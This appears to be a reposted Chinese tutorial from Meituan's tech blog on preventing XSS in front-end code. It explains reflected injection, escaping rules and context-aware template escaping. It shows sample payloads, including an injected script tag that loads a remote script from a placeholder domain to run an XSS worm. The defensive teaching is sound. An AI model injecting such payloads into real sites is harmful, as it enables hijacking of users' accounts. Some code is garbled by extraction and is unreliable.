作者:卢启红 | 来源:互联网 | 2023-05-19 13:00
原文:https:my.oschina.netmeituantechblog2218539前端安全随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引
原文:https://my.oschina.net/meituantech/blog/2218539
前端安全
随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site COOKIEs 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。
近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。
本文我们会讲解 XSS ,主要包括:
- XSS 攻击的介绍
- XSS 攻击的分类
- XSS 攻击的预防和检测
- XSS 攻击的总结
- XSS 攻击案例
XSS 攻击的介绍
在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:
- XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
- 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。
如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。
XSS 漏洞的发生和修复
XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。
一个案例
某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索button> <div> 您搜索的关键词是:<%= getParameter("keyword") %> div>
然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:
http://xxx/search?keyword=">
小明带着一种不祥的预感点开了这个链接[请勿模仿,确认安全的链接才能点开]。果然,页面中弹出了写着"XSS"的对话框。
可恶,中招了!小明眉头一皱,发现了其中的奥秘:
当浏览器请求 http://xxx/search?keyword=">
时,服务端会解析出请求参数 keyword
,得到 ">
,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');script>"> <button>搜索button> <div> 您搜索的关键词是:"><script>alert('XSS');script> div>
浏览器无法分辨出
是恶意代码,因而将其执行。
这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。
面对这种情况,我们应该如何进行防范呢?
其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。
聪明的小明很快找到解决方法,把这个漏洞修复:
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>"> <button>搜索button> <div> 您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %> div>
escapeHTML()
按照如下规则进行转义:
|字符|转义后的字符| |-|-| |&
|&
| |<
|<
| |>
|>
| |"
|"
| |'
|&#x27;
| |/
|&#x2F;
|
经过了转义函数的处理后,最终浏览器接收到的响应为:
<input type="text" value="">
时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js>script>">按分类检索a>li>
浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js
,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。
扩展阅读:Automatic Context-Aware Escaping
上文我们说到:
- 合适的 HTML 转义可以有效避免 XSS 漏洞。
- 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 Javascript 字符串、内联 CSS 样式表等等。
- 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。
通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。
2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping。
所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:
<html> <head> <meta charset="UTF-8"> <title>{{.title}}title> head> <body> <a href="{{.url}}">{{.content}}a> body> html>
模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:
<html> <head> <meta charset="UTF-8"> <title>{{.title | htmlescaper}}title> head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}a> body> html>
目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:
- go html/template
- Google Closure Templates
课后作业:XSS 攻击小游戏
以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。
在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。
alert(1) to win prompt(1) to win XSS game
参考文献
- Wikipedia. Cross-site scripting, Wikipedia.
- OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.
- OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
- Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
- Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
- Vue.js. v-html - Vue API docs, Vue.js.
- React. dangerouslySetInnerHTML - DOM Elements, React.
下期预告
前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。
作者介绍
李阳,美团点评前端工程师。2016年加入美团点评,负责美团外卖 Hybrid 页面性能优化相关工作。
![](https://www.#.com/go/aHR0cHM6Ly91c2VyLWdvbGQtY2RuLnhpdHUuaW8vMjAxOC85LzI4LzE2NjFlMDExYjA4MGE1ZjQ_dz0xODc1Jmg9ODM1JmY9cG5nJnM9MTQyNDYx)